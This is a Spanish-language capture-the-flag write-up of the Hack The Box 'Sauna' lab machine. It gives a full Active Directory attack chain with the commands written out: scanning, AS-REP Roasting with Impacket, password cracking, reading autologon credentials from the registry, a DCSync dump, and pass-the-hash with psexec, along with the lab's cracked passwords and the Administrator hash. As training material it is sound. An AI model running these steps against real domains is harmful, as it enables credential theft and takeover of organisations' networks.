5ubterranean@home:~$

HTB Sauna Write-up (Español)

I cloned my writeup that was originally posted on medium

Sauna es una máquina basada en Windows que estuvo activa desde el 15 de Febrero del 2020 hasta el 18 de Julio, para resolver esta máquina tendremos que crear una lista de posible usuarios basándonos en la información que encontramos en su página web, a falta de información probaremos si alguno de los supuestos usuarios es susceptible a AS-REP Roasting, tenemos exito consiguiendo un ticket del usuario “fsmith”, crackeamos la contraseña y conseguimos acceso al servidor, luego conseguimos la contraseña del usuario “svc_loanmgr”, el cual se logea automáticamente al servidor, por lo que la encontramos en el registro de winlogon, por últimos realizamos un DC Sync con este usuario para conseguir el hash de administrador, y nos logeamos como dicho usuario realizando un pass the hash.

Enumeración

Empezamos usando masscan para encontrar todos los puertos disponibles y luego usamos nmap para conseguir más información de los mismos.

masscan -e tun0 –rate=500 -p 0–65535 10.10.10.175
nmap -sC -sV -p 57075,53,464,445,389,49673,80,3269,49686,135,88,9389,139,593,5985,4974,636,3268 -o scan.txt 10.10.10.175

PORT      STATE    SERVICE       VERSION  
53/tcp    open     domain?  
| fingerprint-strings:   
|   DNSVersionBindReqTCP:   
|     version  
|\_    bind  
80/tcp    open     http          Microsoft IIS httpd 10.0  
| http-methods:   
|\_  Potentially risky methods: TRACE  
|\_http-server-header: Microsoft-IIS/10.0  
|\_http-title: Egotistical Bank :: Home  
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-25 00:05:24Z)  
135/tcp   open     msrpc         Microsoft Windows RPC  
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn  
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)  
445/tcp   open     microsoft-ds?  
464/tcp   open     kpasswd5?  
593/tcp   open     ncacn\_http    Microsoft Windows RPC over HTTP 1.0  
636/tcp   open     tcpwrapped  
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)  
3269/tcp  open     tcpwrapped  
4974/tcp  filtered unknown  
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
|\_http-server-header: Microsoft-HTTPAPI/2.0  
|\_http-title: Not Found  
9389/tcp  open     mc-nmf        .NET Message Framing  
49673/tcp open     msrpc         Microsoft Windows RPC  
49686/tcp open     msrpc         Microsoft Windows RPC  
57075/tcp filtered unknown

Por el escaneo vemos que es un común Windows server, aunque lo que destaca es tener el puerto 80 abierto, antes de revisarlo revisamos LDAP/RPC. ldapsearch -x -h 10.10.10.175 -b “DC=EGOTISTICAL-BANK,DC=LOCAL”

No tenemos acceso a los usuarios del servidor, aunque encontramos una unidad organizacional llamada Hugo Smith, la cual podría ser también el nombre de un usuario, ya que no encontramos más información relevante, visitamos la página web.

La página parece ser la de una especie de banco, aunque no pudimos identificar ninguna vulnerabilidad en ella, lo más relevante lo encontramos en http://10.10.10.175/about.html.

La página tiene una sección de los integrantes de la empresa, una práctica común para crear los usuarios es tomar la primera letra del nombre, el apellido y juntarlos, a veces se pone un punto en medio, así que asumiendo esta posibilidad creamos una lista de posibles usuarios usando exrex.

Así queda nuestra lista.

Ganando acceso

Usamos el módulo “kerberos_enumusers” de metasploit para validar nuestros usuarios, vemos que “hsmith” existe, y obtenemos un error con el usuario “fsmith”, quitamos este usuario de la lista y lo reintentamos, pero no encontramos otro usuario válido, ahora tenemos 2 usuarios “hsmith” y “fsmith” el cual conservamos ya que no podemos descartarlo debido al error.

Intentamos adivinar la contraseña de uno de los 2 usuarios con listas pequeñas de contraseñas comunes (usar listas grandes tomaría demasiado tiempo) y las palabras encontradas en el sitio web sin ningún éxito, así que probamos suerte con algunos ataques a AD, en este caso AS-REP Roasting tiene éxito, para hacerlo usamos el script “GetNPUsers.py” de Impacket: python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -u users.txt -dc-ip 10.10.10.175 -format john

Bien conseguimos un ticket con “fsmith”, procedemos a crackearlo con john y obtenemos que la contraseña es “Thestrokes23”.

Nos conectamos al servidor usando evil-wirm y conseguimos el “user.txt”.

Movimiento lateral

Como parte de la enumeración subimos y corremos winpeas y este nos encuentras unas credenciales de autologon del usuario “svc_loanmgr”.

Cuando un usuario se logea automáticamente a una computadora, sus credenciales son guardadas en el registro de windows, estas se pueden recuperar con los comandos:
REG QUERY “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon” /v DefaultUserName 
REG QUERY “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon” /v DefaultPassword

Escalación de privilegios

Con este nuevo usuario podemos realizar un DC Sync, para esto usamos el script secretsdump.py de Impacket: python3 secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr:’Moneymakestheworldgoround!’@10.10.10.175 -dc-ip 10.10.10.175.

Vemos que conseguimos los hashes LMNT de Administrador “Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::”, no necesitamos crackearlos ya que podemos hacer un pass the hash con ellos: python3 psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff.

Y con eso somos authority\system y conseguimos el “root.txt”.

Descargo de responsabilidad

Todos los recursos brindados en este post se hicieron puramente con fines educativos y de concientización, el autor no se hace responsable por las acciones que las personas puedan realizar con el contenido del mismo.